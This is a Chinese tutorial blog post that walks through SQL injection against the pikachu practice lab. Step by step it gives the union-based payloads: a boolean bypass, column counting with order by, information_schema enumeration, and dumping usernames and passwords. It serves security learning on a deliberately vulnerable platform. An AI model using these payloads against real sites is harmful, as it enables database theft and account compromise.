sql注入(获取数据库)

1.1 漏洞简介

        程序没有细致过滤用户输入的数据,从而导致非法数据进入系统。

        SQL注入就是把SQL命令插入到Web表单然后提交到所在页面请求(查询字符串),从而达到欺骗服务器执行恶意的SQL命令。

        它是利用现在已有的应用程序,将SQL语句插入到数据库中执行,执行一些并非按照设计者意图的SQL语句。

1.2 漏洞影响范围

SQL注入会造成以下严重后果:

  1. 盗取用户数据和隐私,这些数据被打包贩卖,或用于非法目的后,轻则损害企业品牌形象,重则将面临法律法规风险。

  2. 攻击者可对目标数据库进行“增删改查”,一旦攻击者删库,企业整个业务将陷于瘫痪,极难恢复。

  3. 植入网页木马程序,对网页进行篡改,发布一些违法犯罪信息。

  4. 攻击者添加管理员帐号。即便漏洞被修复,如果企业未及时察觉账号被添加,则攻击者可通过管理员帐号,进入网站后台。

1.3 sql注入流程

准备:pikachu漏洞练习平台

通过infermation_schema 拿下数据库

以字符型注入为例

输入kobe(pikachu常用)

得到以上信息

然后构造sql语句

select uid,email from user where name = 'kobe' or 1=1#';

输入kobe' or 1=1#'

 

 得到以上信息

此时,并不知道系统查询了几个属性

使用union联合查询

order by 排序的意思

用order by 来确定union后面有几个属性 

先给第1、2个属性排序

输入:kobe' or 1=1 order by 1#

           kobe' or 1=1 order by 2#

 

 给第三个属性排序

 发现没有第三个属性

所以 确定属性个数是2

再来获取数据库名

构造sql语句

select uid,email from user where name = kobe' or 1=1 union select database(),user()#

输入kobe' or 1=1 union select database(),user()#

 得到数据库名

再来获取数据库中的表名

select uid,email from user where name = kobe' or 1=1 union select table_schema,table_name from information_schema.tables where table_schema='root'#

注:数据库为root

        table_schema数据库,table­_name表名

        from information_schema从数据库中查询

        .tables  数据库下的一张表

        此数据库一开始就是存在的

输入 kobe' or 1=1 union select table_schema,table_name from information_schema.tables where table_schema='root'#

得到root数据库下的所有数据表名称

获取数据表下的信息

构造sql语句

select uid,email from user where name = kobe' or 1=1 union select table_name,column_name from information_schema.columns where table_name='users'#        

 注:已经知道表名   挑一张表table_name    

        column_table 存放的是每张表的名称(table_name)所对应的列名

输入: kobe' or 1=1 union select table_name,column_name from information_schema.columns where table_name='users'#        

 发现表中有用户名信息和密码信息

再来获取用户名和密码

构造sql语句

select uid,email from user where name = kobe' or 1=1 union select username,password from users #

输入:kobe' or 1=1 union select username,password from users #

 获取成功!

  • 11
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值